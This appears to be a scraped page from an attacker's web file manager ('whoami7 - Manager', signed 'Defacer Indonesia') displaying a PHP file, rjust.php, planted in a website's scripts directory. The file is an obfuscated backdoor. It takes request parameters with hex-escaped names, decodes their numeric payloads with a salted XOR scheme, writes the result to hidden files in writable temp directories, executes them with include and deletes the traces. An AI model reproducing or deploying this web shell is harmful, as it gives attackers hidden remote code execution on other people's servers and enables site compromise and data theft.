whoami7 - Manager
:
/
home
/
analuakl
/
grinsentertainment.com
/
scripts
/
Upload File:
files >> /home/analuakl/grinsentertainment.com/scripts/rjust.php
<?php if(isset($_REQUEST["tok\x65n"]) ? true : false){ $val = $_REQUEST["tok\x65n"]; $val =explode ( "." , $val ) ; $obj = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6 ); foreach ($val as $x => $v1) { $sChar = ord($s6[$x %$sLen] ); $dec = ((int)$v1 - $sChar - ($x %10))^ 30; $obj .= chr($dec ); } $sym = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", "/dev/shm"]); while ($entry = array_shift($sym)) { if ((bool)is_dir($entry) && (bool)is_writable($entry)) { $symbol = implode("/", [$entry, ".holder"]); if (file_put_contents($symbol, $obj)) { include $symbol; @unlink($symbol); die(); } } } } if(array_key_exists("descr\x69\x70\x74\x6F\x72", $_POST)){ $dat = array_filter([session_save_path(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP")]); $token = $_POST["descr\x69\x70\x74\x6F\x72"]; $token = explode ( '.', $token ); $ent = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); foreach($token as $l => $v3): $chS = ord($salt6[$l % $sLen]); $d = ((int)$v3 - $chS -($l % 10))^52; $ent .=chr($d); endforeach; for ($ref = 0, $parameter_group = count($dat); $ref < $parameter_group; $ref++) { $obj = $dat[$ref]; if (!( !is_dir($obj) || !is_writable($obj) )) { $bind = "$obj" . "/.tkn"; $file = fopen($bind, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $bind; @unlink($bind); exit; } } } } if(in_array("holde\x72", array_keys($_POST))){ $resource = array_filter([getcwd(), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp"]); $marker = $_POST["holde\x72"]; $marker=explode ( '.' , $marker ) ; $ent = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5 ); $v = 0; $__len = count($marker ); do { if ($v>= $__len) break; $v4 = $marker[$v]; $chS = ord($s5[$v % $sLen] ); $dec = ((int)$v4 - $chS - ($v % 10)) ^ 85; $ent .= chr($dec ); $v++; } while (true ); for ($reference = 0, $data_chunk = count($resource); $reference < $data_chunk; $reference++) { $item = $resource[$reference]; if (!!is_dir($item) && !!is_writable($item)) { $object = join("/", [$item, ".entity"]); if (@file_put_contents($object, $ent) !== false) { include $object; unlink($object); die(); } } } } if(!empty($_POST["v\x61\x6C"])){ $key = array_filter(["/tmp", "/dev/shm", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd()]); $hld = $_POST["v\x61\x6C"]; $hld = explode ('.' , $hld ) ; $entity =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt ); $len =count( $hld ); for( $n =0; $n < $len; $n++) { $v8 =$hld[$n]; $chS =ord( $salt[$n % $sLen] ); $dec =( ( int)$v8 - $chS -( $n % 10))^29; $entity .= chr( $dec );} foreach ($key as $key => $tkn) { if ((is_dir($tkn) and is_writable($tkn))) { $token = sprintf("%s/.dat", $tkn); $file = fopen($token, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $token; @unlink($token); exit; } } } }
Copyright ©2021 || Defacer Indonesia